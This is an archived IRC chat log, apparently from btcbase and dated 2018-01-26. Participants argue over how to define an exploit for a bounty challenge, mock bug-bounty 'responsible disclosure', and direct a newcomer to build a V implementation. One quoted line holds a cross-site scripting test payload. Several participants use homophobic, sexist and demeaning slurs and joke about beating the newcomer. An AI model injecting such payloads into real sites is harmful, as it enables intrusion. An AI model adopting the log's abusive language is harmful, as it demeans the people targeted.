12:58 a111 Logged on 2018-01-26 05:04 mircea_popescu: meanwhile in girls alf won't like, http://78.media.tumblr.com/33cb28925c37b2cd04d9ff82a675d37d/tumblr_nh7rhnlD9v1qd7u7zo1_1280.jpg
12:59 asciilifeform lol
12:59 asciilifeform http://btcbase.org/log/2018-01-26#1777052 << i'd like to make such a challenge. but turns out that we do not even yet have a usable formula for what exactly even is an exploit.
12:59 a111 Logged on 2018-01-26 17:45 douchebag: 1BTC reward? I'm up for that challenge any day
13:00 asciilifeform it is almost like trying to define humour
13:01 asciilifeform 'is this funny'
13:02 asciilifeform there is the element of surprise , i.e. ' i had nfi that it would do X ' . but this is subjective, and impossible to say in advance that ' you had nfi that it would X '
13:02 asciilifeform mircea_popescu for instance prolly knew that one could paste a js into his php thing. but had no particular reason to give a damn
↖
13:03 phf http://btcbase.org/log/2018-01-26#1776788 << jeez, gtfo
13:03 a111 Logged on 2018-01-26 08:44 douchebag: <script>alert`OHAI`</script>
13:04 asciilifeform phf: i am at this point nearly convinced that working with www stack -- even moar so than, say, work with retarded children -- is destructive to one's own higher brain
13:05 asciilifeform the fruit hang so low , all muscles atrophy.
13:06 asciilifeform but even worse -- the type of effort that the work rewards, is exactly the wrong type
13:07 BingoBoingo <asciilifeform> http://btcbase.org/log/2018-01-26#1777052 << i'd like to make such a challenge. but turns out that we do not even yet have a usable formula for what exactly even is an exploit. << Dude finds way through pehbot commands to replace host machine BIOS with "Hypercard" binary that shipped with OS7
13:07 a111 Logged on 2018-01-26 17:45 douchebag: 1BTC reward? I'm up for that challenge any day
13:07 mircea_popescu lmao
13:07 asciilifeform BingoBoingo: for instance.
13:08 asciilifeform BingoBoingo: why not add 'and burns down the box' also.
13:08 asciilifeform coming next, pole vaulting contest where folx hop over the trump tower.
13:08 BingoBoingo asciilifeform: Burns down box leaves less to confirm by reading failROM
13:08 mircea_popescu phf o yeah i know you're the fancy playboy type.
13:10 asciilifeform BingoBoingo: let's develop your picture. because it still isn't a complete one . because e.g. knowing the magicpacket for that particular box's nic, is not 'exploit for ffa', it is for $nic.
13:10 asciilifeform just like if a d00d managed to sneak in and steal it, it ain't 'exploit for ffa' . etc
13:10 BingoBoingo asciilifeform: You failed to spec that part. You spec'd pehbot
13:11 asciilifeform BingoBoingo: the whole thread is re the impossibility of a satisfying spec of any such kind.
13:11 asciilifeform and it specifically does not admit room for inclusion by 'failed to spec X'.
13:14 BingoBoingo That is a point.
13:15 asciilifeform hey BingoBoingo , recall james randi's flower pot ?
13:15 asciilifeform same type of problem.
13:15 asciilifeform i dun think that it is solvable as-stated.
13:16 mircea_popescu it's very solvable as stated, but not mechanically. "1. figure out v ; 2. press pehbot ; 3. say intelligent things about it." "intelligent according to whom ?" "intelligent according to me" "how am i supposed to cheat this ?!" "you aren't."
13:16 asciilifeform right, not mechanically.
13:17 mircea_popescu http://btcbase.org/log/2018-01-26#1777090 << for all you know this is how kock-weimer goes too.
13:17 a111 Logged on 2018-01-26 18:02 asciilifeform: mircea_popescu for instance prolly knew that one could paste a js into his php thing. but had no particular reason to give a damn
13:17 mircea_popescu it's ~certainly~ in the list of things they'd spew once put to the question.
13:17 asciilifeform certainly would
13:17 asciilifeform not that it'd do'em any good.
13:18 asciilifeform the difference b/w http://btcbase.org/log/2018-01-26#1776941 and e.g. koch-rng remains apparent to anybody with half a brain
13:18 a111 Logged on 2018-01-26 16:34 asciilifeform: but conceivably one day there will be an idjit browser that gives obama root on yer box when it sees string 'open sesame'. and what, errybody gotta know in advance to escape 'open sesame', lol ?
13:19 BingoBoingo In other exploits, tonight I will be sleeping in a different bed because axe time gas time has some for the chinches de cama!
13:20 asciilifeform i must admit to BingoBoingo , i have not yet experienced the 'joys' of this insect
13:21 BingoBoingo Eh, not such a big deal. First weeks the bites itch and then your immune system stops caring and you cease to get quite the histamine reaction to the bites.
13:21 mircea_popescu asciilifeform with half a brain is not mechanically
13:21 asciilifeform ifonly this worked for mosquito.
13:22 asciilifeform mircea_popescu: this is correct. which is why we dun have mechanisms judging kochs.
13:23 mircea_popescu how's the cocksuckers BingoBoingo ? apparently moar bloodsuckers.
13:23 asciilifeform now to revisit upstack, once i describe peh-rsa , and demonstrate signing etc, it will be possible to make straightforward mechanical puzzle for whoever wants to play.
13:23 mircea_popescu there is that.
13:24 mircea_popescu could even pehbot encrypt a privkey.
13:24 asciilifeform e.g. 'make your invalid sig of $item cause my verifier to say 'valid' ' etc.
13:25 asciilifeform mircea_popescu: or that. ( the difficulty with privkeys-as-prizes is to show that they are in in fact inside the prizebox prior to play )
13:25 mircea_popescu myeah.
13:25 ben_vulpes douchebag: ty, fixed
13:25 mircea_popescu you're right, it's not quite as good.
13:25 deedbot http://www.thedrinkingrecord.com/2018/01/26/mcdonalds-the-gringo-gets-his-groove-back/ << Bingo Blog - McDonalds: The Gringo Gets His Groove Back
13:25 BingoBoingo mircea_popescu: Starting to get more attention for them again as my confidence recovers from the past weekend
13:25 mircea_popescu that's good.
13:26 * mircea_popescu has had the following unpleasant experience : was going to take whore tribe horseback riding ; called whorelist, "o sure, pick me up ?" ; called horse farms "nope, wounded/gone/booked/etc". HOW!!! could it be harder to get horses than whores!
13:27 mircea_popescu what, is it by leg count ?
13:28 BingoBoingo Mebbe horses provide less useful error messages to the locals? Thusly there were many available horses until they hit the same fate the cars do.
13:28 mircea_popescu maybe.
13:29 mircea_popescu or maybe the chinese don't ship hay flavoured chips.
13:29 BingoBoingo Possible
13:29 asciilifeform horse himself suffers the disadvantage of being edible
13:29 asciilifeform possibly -- that's where they went.
13:29 asciilifeform like , supposedly, in ro.
13:30 mircea_popescu i never saw horsemeat here, you know that ?
13:30 asciilifeform there was this rumour of a 1time massive horse-to-sausage conversion when eu pressed on a ban against horse on roads
13:30 mircea_popescu eh, greatly exaggerated.
13:31 asciilifeform it's exactly the kind of thing that would be greatlyexaggerated. so i have nfi.
13:31 mircea_popescu the true horse killing was in 50s, when ceausescu decided to force agromecanization
13:31 asciilifeform fefeleagaization lol
13:31 mircea_popescu 60s*
13:31 mircea_popescu prolly a million heads give or take.
13:32 asciilifeform ( orwell aficionados will also remember his version of fefeleaga's bator , the sad horse character boxer )
13:32 phf http://btcbase.org/log/2018-01-26#1776919 << could be the flip side of http://trilema.com/2012/strategic-superiority-a-saga/
13:32 a111 Logged on 2018-01-26 16:15 mircea_popescu: in fairness, kid's got me meditating about the nature of things ever since last night. see, the trouble is : in his syustem, he has actually found a vulnerability, as a factual matter. in my system this is entirely meaningless. why the difference ?
13:33 mircea_popescu i'm sure.
13:42 phf http://btcbase.org/log/2018-01-26#1777009 << this is exactly how "secoority" snake oil propagates: cheap tricks
13:42 a111 Logged on 2018-01-26 17:12 mircea_popescu: not if it works to deliver the results above ?
13:43 mircea_popescu phf is this repackageable into a puritan argument against sluts ? if not, why not ?
13:43 phf i don't know the puritan arguments against sluts
13:43 mircea_popescu you may not be aware, but the ~original~ repression of faggotry has everything in common with the original repression of jews, masons, etc : it was perceived by the "normal" man that these "perverts" have it TOO EASY.
13:44 mircea_popescu it's "unfair" (in the exact sense of childhood playground) and therefore "forbidden". because... obviously you can find a MALE partner to work with ; the question is to get one of the speaking cows to do it.
13:45 mircea_popescu so men who fuck men have an "unwarranted" social advantage, and consequently off with their heads.
13:45 mircea_popescu obviously fucking the boss is mandatory in the workplace ; but this is specifically what http://trilema.com/2012/reguli-pentru-iobagi/ DIDNT want.
13:47 phf wake me when there's a "too easy" on btcbase
13:48 mircea_popescu and so : a homebreaker is a female that delivers on the "easy" part which "anyone could do" (sex) and not on the hard part -- and there's no quotes there because how about YOU try polishing an oaken table the size of a current usian garage each morning, plus rub the iron pots.
13:48 mircea_popescu phf how's that related ?
13:49 douchebag alright, I'm back
13:50 mircea_popescu !~google he's here, he's here, he's here have no fear, stay by his side an' he'll take you for a ride...
13:50 jhvh1 mircea_popescu: Nana – He's Comin' Lyrics | Genius Lyrics: <https://genius.com/Nana-hes-comin-lyrics>; Nana - He's Comin' Lyrics | LetsSingIt Lyrics: <https://www.letssingit.com/nana-lyrics-he-s-comin-qkcsz32>; Songtext von Nana - He's Comin' Lyrics: <http://www.songtexte.com/songtext/nana/hes-comin-73c2661d.html>
13:53 phf mircea_popescu: i'm perhaps failing to find a point at which your analogy connects with the situation. i read it as "don't know on things that seem trivial"
13:53 asciilifeform mircea_popescu: the 'anyone could cheat with witchcraft' thing is a recurring motif in idjit pygmystans , verily
13:53 phf *don't knock
13:54 asciilifeform ( but pointedly not in ~all~ pygmistans. recall the 'ru prison cheating at cards is not cheating if not obvious' thread )
13:55 mircea_popescu phf no, no, the structure of the argument, "X propagates via r-selection" is not delivering on what i expect is the intent ("of COURSE x is "bad" in the sense of illegitimate).
13:55 mircea_popescu the problem is that illegitimacy crosses a definition boundry (it doesn't mean the same thing in boston wharf side and in african village) and so leaves us stranded.
13:57 mircea_popescu asciilifeform it is, at that. and in ru prison is "not cheating if ~not caught~, to an ellaborate standard of wot-proof. which takes us straight into http://trilema.com/2014/un-prophete/#selection-53.90-53.169 sadness
13:59 asciilifeform and to the 'mechanical puzzle' thread, aha.
14:05 phf oh i finally got it
14:05 phf yes, totally unrelated, yeesh slow day.
14:07 douchebag Alright, what do you guys suppose I do I've been trying to find vulns in Starbucks pretty much all night with very little success. Should I continue hitting this bug bounty, or switch over to Yahoo's program?
14:08 phf but, the intent wasn't actually "of course x is bad", we've had conversation about that elsewhere, this was a pure cause/purpose "you're fat" situation: that's literally how security theater propagates!
14:09 mircea_popescu consider just how weak this "r selection = bad" argument by looking at the principal class of problem we know a (sorta) solution for today. why even have bitcoin nodes when you could have a central server ? http://btcbase.org/log/2018-01-25#1776507 ?
14:09 a111 Logged on 2018-01-25 23:37 NoSatoshisHear: centralized system, so one server counts the ticks, it would simply be a demo of reddit "the button" style idiocy combined with gambling. Sounds viral, like the 1918 flu.
14:09 mircea_popescu phf ah, so it was just stating the obvious for some reason ? i'm... aware that's how it propagatges o.O
14:10 phf well, i didn't know if you were aware, and i can always fall back to the usual log "but tis was for the reader!"
14:10 mircea_popescu (the truth of the matter is that the power of human speech comes from parsing and collapsing very lengthy and complex trees ; one of the rules is "obvious branch is dead", which means you practically never assume one's stating the obvious, so you pick the alternative)
14:10 mircea_popescu phf certainly.
14:11 mircea_popescu phf the actual trick i use to force a "no, go down obv branch" is by prepending a "you know" or whatever. but, sure.
14:15 phf i've seen the machinery work many times, though for some reason it reminded me of the case where it misfired, in a famous bit by feynman where he was cracking safes at los alamos, security resolution and the unexpected punchline is "don't let feynman near your safes"
14:16 BingoBoingo douchebag: Have you tried flipping a coin? Or failing that tire flipping a bit?
14:20 douchebag Not really too much, I've held onto coin and made a bit here and there. Typically I end up selling it right away so that I can get my cash in hand and not have to worry about waiting for the price to fluctuate. I know I should have held onto it
14:22 * trinque gives this "pls to mirror back to me that am doing smart things smartly" hours to live
14:22 douchebag Considering I looked at one of my wallets and $50 transactions are now worth roughly $20,0000
14:22 douchebag $20,000*
14:24 asciilifeform douchebag: does it ever bother you that you sell a $10k info for $1k ?
↖
14:25 asciilifeform ( or 100, for 10, etc )
14:26 BingoBoingo douchebag: I mean in the physical sense. You know... the old fashioned kind of flip and coin. Or flip and tire.
14:27 douchebag Not really, I know that by responsibly disclosing vulnerabilites to companies I am building a pretty awesome resume which will benefit me later in life
14:27 asciilifeform douchebag: on the contrary.
14:27 asciilifeform !#s responsible disclosure
14:27 a111 30 results for "responsible disclosure", http://btcbase.org/log-search?q=responsible%20disclosure
14:27 asciilifeform ^ mandatory reading.
14:29 douchebag Everyone else I know is working some shitty job, not getting a decent amount of experience, and they're just kind of stuck in the same place. Meanwhile, I'm just entertaining myself with the challenge of hacking these companies
14:29 trinque douchebag: your "write-only" mode grows tiresome
14:30 * shinohai snickers a bit @ 'responsible disclosure'
14:30 trinque nobody is inviting you to "be in the republic in your own way"
14:30 asciilifeform douchebag: do you realize that you are doing the equiv of showing up at e.g. google campus and repainting the stairs in exchange for the pennies accidentally dropped there ?
14:31 asciilifeform the most abject kind of slavery known, really
14:32 asciilifeform !~google mudlarks
14:32 jhvh1 asciilifeform: Mudlark - Wikipedia: <https://en.wikipedia.org/wiki/Mudlark>; Museum of London :: Mudlarks children's gallery: <https://www.museumoflondon.org.uk/museum-london-docklands/permanent-galleries/mudlarks-childrens-gallery>; Mudlarks of the 1700 and 1800s - Geri Walton: <https://www.geriwalton.com/child-mudlarks/>
14:33 douchebag Eh, perhaps. It's mainly just a hobby of mine, and I'm constantly learning from it and it pays the bills for now.
14:34 douchebag What do you suggest I do?
14:34 shinohai Read the logs for starters.
14:34 asciilifeform douchebag: look in the subjline for this chan
14:34 asciilifeform for instance.
14:40 douchebag Well, I'm not the best programmer out there however I always make damn sure the code I do write is secure as it can be
14:40 asciilifeform how is this statement a commentary on the item in the subjline ?
14:41 douchebag "V. You could learn how to program correctly, such as for instance by writing your own Vvi implementation, or by standing up an irc botvii, or by following the excellent manuals produced by the Lordshipviii. Bear in mind that it is deemed unethical within the Republic to write code if you haven't actually learned how to write it first, and that orcs' claims to have taught you something often turn out
14:41 douchebag fraudulent upon examination."
14:42 trinque douchebag: skipped right over the reading *again* did you
14:46 douchebag Well, I'm just trying to figure out where my skillset could be best put to use, I would be more than capable of writing a V implementation or setting up an IRC bot. I'm trying to leave it to you guys to tell me where my skillset could best be put to use
↖
14:47 lobbes douchebag: while you are intelligent, and may have succeeded in sending mp to meditation room, realize that continued existence in this forum is predicated on you doing something useful for the Republic. Understanding -what- is useful will require (as trinque has been patiently explaining) "moar ready, less talky".
14:47 shinohai !!rate douchebag -1 *autistic screeching
14:47 deedbot Get your OTP: http://p.bvulpes.com/pastes/MFYD0/?raw=true
14:47 lobbes Else that happens ^^
14:47 asciilifeform douchebag: start with v
14:47 ben_vulpes http://btcbase.org/log/2018-01-23#1774923
14:47 a111 Logged on 2018-01-23 20:04 ben_vulpes: ours mostly
14:48 trinque several folks told douchebag here to do various somethings
14:48 asciilifeform douchebag: alternatively, ( or best of all, in conjunction ) read the ffa series and do the exercises.
14:48 lobbes douchebag, -as you read more- the "how can I best use my skillset" will become obvious to you
14:49 trinque ayep
14:49 shinohai !!v F446A115E51B6AB6665F943C47F5DBADD60D81F06A76C65156E43F4710A7B46C
14:49 deedbot shinohai rated douchebag -1 << *autistic screeching
14:49 * trinque ftr thinks it's nice to see someone that shows up and wants to do *anything* aside pull his dick
14:49 asciilifeform trinque: aha!
14:49 trinque just, the dickpulling can now go.
14:50 asciilifeform but asciilifeform for one will read his vtron. and ffa homework answers.
14:50 asciilifeform supposing he produces any.
14:50 shinohai Could have used skills to hack CoinCheck, been 530M usd richer
14:51 asciilifeform shinohai: naaah, see, not 'responsibledisclosure' is it nao.
14:51 asciilifeform d00d gotta cure himself first, of the headcockroaches
14:51 shinohai Precisely my point.
15:03 asciilifeform shinohai, trinque : as i understand, d00d is a kid, and really oughta be beaten with wooden stick, and only after this fails, with spiked iron stick.
15:04 shinohai Beatings bring about character development!
15:04 asciilifeform i dun see any reason to think that he is incurable.
15:04 asciilifeform ( yet )
15:04 douchebag I would like to clarify with someone that I properly understand everything required to create a V implementation.
↖
15:05 shinohai No, not incurable, but simply needs to do time in the logs, etc. to cure the aforementioned head cockroaches.
15:05 trinque asciilifeform: shinohai negrated him all by himself
15:05 trinque I don't see where I condemned
15:05 asciilifeform douchebag: observe that you can readily test what you make : massive amount of vpatch published , at e.g. http://btcbase.org/patches
15:06 asciilifeform trinque: i can readily see that you have not yet condemned , aha
15:06 ben_vulpes douchebag: so demonstrate it, yeah? talk is cheap.
15:07 asciilifeform douchebag: this is not miserable american school . shoot first; ask questions second. make a vtron. if its function diverges in some way from previous vtrons, you will a) notice b) find out why c ) then, ~maybe~ later ask others, if cannot determine solution on your own
15:09 douchebag I'll write something up and let one of you take a look at it when I'm finished.
15:11 ben_vulpes i'll certainly read it
15:11 ben_vulpes gonna post on medium or what?
15:12 douchebag It'll most likely be it's own web application.
15:12 ben_vulpes wutwutwut? a vtron webapp?
15:13 shinohai Oh dear lord
15:13 trinque hey, phf has one
15:13 ben_vulpes i'm curious, not casting aspersions
15:14 ben_vulpes douchebag: surely you're not thinking of something that would eat a mess of patches and sigs and vomit forth a press, are you?
15:15 douchebag Pardon?
15:15 shinohai I'm genuinely curious to see gpg operations performed in a web app.
15:15 ben_vulpes douchebag: howabout you tell me what this "it's own web application" is going to do
15:15 shinohai (https://www.igolder.com/pgp/generate-key/)
15:15 mod6 before writing a vtron, maybe spend sometime using one.
15:16 asciilifeform it did not even occur to me that chukcha is a writer and not a reader, and has not used
15:16 asciilifeform presumably has, or will use, then -- write.
15:16 ben_vulpes douchebag: mod6 has a point, consider pressing a trb and syncing it douchebag
15:17 douchebag That
15:17 trinque we'll never know which is a nick reference and which isn't!
15:17 douchebag That's probably a good idea before I start.
15:17 ben_vulpes still curious in re what this hypothetical webapp would do
15:18 asciilifeform ben_vulpes: imho even a straight cleanroom clone of http://btcbase.org/patches wouldn't be entirely useless
15:18 asciilifeform ( supposing it works )
15:19 ben_vulpes asciilifeform: let the kid speak for himself, eh?
15:19 asciilifeform let the d00d write his vtron. it's a homework, not a heroic quest . then -- beat with sticks. not before.
15:19 asciilifeform ben_vulpes: i fully expect that he'll speak, lol
15:19 douchebag Well, the web application would just be for viewing purposes, the PGP operations will still be done via command line. I am quite comfortable writing web apps using Python's Flask web framework
15:19 trinque I see guidance, not beating, no harm there
15:20 ben_vulpes guidance and beatins can be hard to distinguish at twenty feet when kiddo's reaching for the stove
15:20 trinque haw
15:20 * asciilifeform bbl,meat
15:20 ben_vulpes douchebag: do yr marching orders make sense?
↖
15:23 douchebag http://therealbitcoin.org/ml/btc-dev/2015-August/000161.html <- I'm looking at this right now, to get an understanding of what I'll be making.
15:24 ben_vulpes there's also http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system
15:24 douchebag I do not know what marching orders are at this time, I'm going to have to read more into it to better understand
15:24 shinohai ben_vulpes link is most definitely required reading imho
15:25 ben_vulpes douchebag: press a trb with non-"release" patches so's you understand usage, ideally sync the binary if you can afford the hardware. then, write your own v, test it, and bring it back for review.
15:26 douchebag Forsure, is there one you suggest me starting with?
15:28 ben_vulpes one what
15:28 douchebag V implementation to use so that I understand how everything is working together
15:29 ben_vulpes asciilifeform's elaborates the fundamentals, mod6 has polished his to handle a bunch of edge cases.
15:29 ben_vulpes it is a matter of taste. would you rather read python or perl?
15:30 mod6 fwiw, if you're comfortable with py, and you're on a learning quest, then start with alf's
15:42 douchebag I prefer Python
15:46 shinohai http://archive.is/KoGnA <<< Not mentioned here, how Coincheck asked the NEM developers to roll back chain ala mETH to recover losses.
↖
~ 1 hours 11 minutes ~
16:57 ben_vulpes aaaand at the intersection of pantsuit and me too streets: http://archive.is/xKXxl
16:59 shinohai Her "Faith adviser" no less! Must have counseled 'ol Bill too.
~ 16 minutes ~
17:15 phf "The currency of the far-right: why neo-Nazis love bitcoin (The Guardian)"
17:16 phf "... Only joint action by the G20 countries, as proposed by France and Germany, could be enough to become a game changer. ..."
↖
17:19 phf articled penned by one Julia Ebner, who also wrote "The Rage: The Vicious Circle of Islamist and Far Right Extremism" https://www.vox.com/world/2017/12/19/16764046/islam-terrorism-far-right-extremism-isis
17:20 phf wherein she blames far right for creating and feeding islamic extrimism
17:30 mircea_popescu http://btcbase.org/log/2018-01-26#1777200 << well, does it ever bother you you spend an hour you'll never ever get back ?
↖
17:30 a111 Logged on 2018-01-26 19:24 asciilifeform: douchebag: does it ever bother you that you sell a $10k info for $1k ?
17:34 mircea_popescu http://btcbase.org/log/2018-01-26#1777253 <<->> http://btcbase.org/log/2018-01-25#1775921
17:34 a111 Logged on 2018-01-26 20:04 douchebag: I would like to clarify with someone that I properly understand everything required to create a V implementation.
17:34 a111 Logged on 2018-01-25 01:01 mircea_popescu: v is esentially found today as an enchanted castle surrounded by 5000 rakes upon which the prince is welcome to step, and once he stepped he can come to us and by the shape in his forehead we can describe the rake he stepped on.
17:34 mircea_popescu gol; step.
17:34 mircea_popescu go*
17:35 mircea_popescu lmao the zingers.
17:48 mod6 haha.
~ 20 minutes ~
18:09 shinohai In other competence of the feebs news: http://archive.is/Un7mm
↖
18:19 mircea_popescu http://btcbase.org/log/2018-01-26#1777309 << yeah, right. to reiterate, a) http://btcbase.org/log/2014-02-07#487027 and b) nobody fucking walks.
18:19 a111 Logged on 2018-01-26 22:16 phf: "... Only joint action by the G20 countries, as proposed by France and Germany, could be enough to become a game changer. ..."
18:19 a111 Logged on 2014-02-07 15:23 mircea_popescu: "Remember : we know where YOU live."
18:19 mircea_popescu better make sure there's replacement "representatives" "presidents" etcetera for the WHOLE list.
~ 16 minutes ~
18:36 mircea_popescu meanwhile in efervescences, http://coupleamateursbellespoitrines.c.o.pic.centerblog.net/tumblr_mr10x0cH0h1s3uxuxo1_1280.jpg
18:50 asciilifeform mircea_popescu: rerun !
18:50 asciilifeform i could've sworn i saw it 2-3y ago
18:51 mircea_popescu well... if you do this many shows eventually you're gonna have to rely on reruns!
18:52 asciilifeform http://btcbase.org/log/2018-01-26#1777312 << every day, lol
18:52 a111 Logged on 2018-01-26 22:30 mircea_popescu: http://btcbase.org/log/2018-01-26#1777200 << well, does it ever bother you you spend an hour you'll never ever get back ?
18:52 mircea_popescu so stop being so bothered! :D
18:54 asciilifeform http://btcbase.org/log/2018-01-26#1777305 << 'One of Japan’s biggest cryptocurrency exchanges said that about $400 million in NEM tokens ...' >> asciilifeform was replacing a ceiling light and lost a screw, which he arbitrarily will value at 500 trillion unified reformed dubloons
↖
18:54 a111 Logged on 2018-01-26 20:46 shinohai: http://archive.is/KoGnA <<< Not mentioned here, how Coincheck asked the NEM developers to roll back chain ala mETH to recover losses.
18:55 mircea_popescu i have about $1 trillion in trimmed pubic hairs. they, unlike a "transgender", are actually female, being XX.
18:55 shinohai There's actually a market for shaved pubic hair! lol
18:56 mircea_popescu i'm thinking of branching out into plucked.
18:56 asciilifeform http://btcbase.org/log/2018-01-26#1777321 << observe that in all such cases under modern usg, the corpse 'hangs' on the designated gallows bird; and never on the gestapo ( who can machine-gun or even demolish, as in florida 2y ago, entire houses , with clear conscience )
18:56 a111 Logged on 2018-01-26 23:09 shinohai: In other competence of the feebs news: http://archive.is/Un7mm
18:57 mircea_popescu asciilifeform the more interesting point is that purely latino style "kidnappings" are moving into the us in complete defiance of "law enforcement".
18:57 asciilifeform ( iirc in all 50 states at this point, if even local cop runs somebody over on his way to arresting a pickpocket, corpse 'hangs' on the pickpocket )
18:57 mircea_popescu the battle has evidently been lost.
18:57 asciilifeform mircea_popescu: eh those have been a thing for many years
18:57 asciilifeform typically not publicized , but they're there.
18:57 mircea_popescu mebbe.
18:57 asciilifeform ( recall how fbi was even created )
18:59 mircea_popescu i was talking re "contempo" period, post ww2 not of the fucking know-nothing movement.
18:59 asciilifeform well yes, hoover's fbi
18:59 mircea_popescu !#s "the morgue"
18:59 a111 4 results for "\"the morgue\"", http://btcbase.org/log-search?q=%22the%20morgue%22
19:00 mircea_popescu there was a bar in new york where ~100 people died /year because people got drunk and starting shooting pistols at each other.
~ 1 hours 9 minutes ~
20:09 mod6 all of that, yet people are still 'maga' or whatever it is today
20:09 mod6 as if
← 2018-01-25 | 2018-01-27 → ↑

Random(trilema) | Download hourly DB snapshot | Get Source Code

Theme: Light | Dark | System Default